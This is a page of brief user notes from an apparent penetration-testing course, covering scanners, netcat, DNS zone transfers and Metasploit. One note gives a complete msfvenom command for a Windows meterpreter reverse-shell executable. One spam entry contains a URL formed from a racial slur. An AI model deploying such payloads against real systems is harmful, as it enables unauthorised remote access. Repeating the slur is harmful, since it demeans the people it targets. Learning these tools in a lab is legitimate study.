Advanced Penetration Testing Notes

lemme smash

https://nigger.com [view]

By: yasodamonsta | Related Lesson: Metasploit (part 3) Operation | Modified: September 7, 2017

VA

Dirbuste:–> used in web application brute forcing.. Nikto:—>IT is VA Tool   [view]

By: dhaval317 | Related Lesson: Vulnerability Scanning (part 5) WebApp, XAMPP, WEBDAV, nikto | Modified: September 7, 2017

Vulnerability scanning using Metasploite

—>  use auxiliary/scanner/ftp/anonymous  —> It will take you in auxiliary cmd portal…   [view]

By: dhaval317 | Related Lesson: Vulnerability Scanning (part 4) Metasploit | Modified: September 7, 2017

smartphone

smartphone-pentest-framework/frameworkconsole [view]

By: functionsys | Related Lesson: SPF (part 4) Functionality for Agents | Modified: September 7, 2017

Bash Scripting

nano ping.sh #!/bin/bash if [ ”$1” == ”” ] echo ”Usage: ./ping.sh [ip]” echo ”Example: ./ping.sh 192.168.1” fi [view]

By: jayanth | Related Lesson: Programming (part 2) Bash Scripting and If/Then Command | Modified: September 7, 2017

APT

nano crontab [view]

By: jayanth | Related Lesson: Linux (part 6) Copy Commands and crontab | Modified: September 7, 2017

APT

netstat -antp man nc nc -lvp 1234 to listen the ports nc 192.168.1.77 1234 [view]

By: jayanth | Related Lesson: Linux (part 5) IP Addressing and netcat | Modified: September 7, 2017

Growing pains

whois bulbsecurity.com nslookup >set type=mx/ns >cisco.com host -t ns zonetransfer.me host -l zonetransfer.me nsztm2.digi.ninja.   [view]

By: johndcx45 | Related Lesson: Information Gathering (part 2) Domain Name Services | Modified: September 6, 2017

msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.40 LPORT=1234 -f exe > meterbosta.exe [view]

By: johndcx45 | Related Lesson: Metasploit (part 6) msfvenom | Modified: September 6, 2017

nessus

service nessusd startcmd + web guilocalhost:8834 [view]

By: 574r570rm | Related Lesson: Vulnerability Scanning (part 2) Nessus | Modified: September 6, 2017

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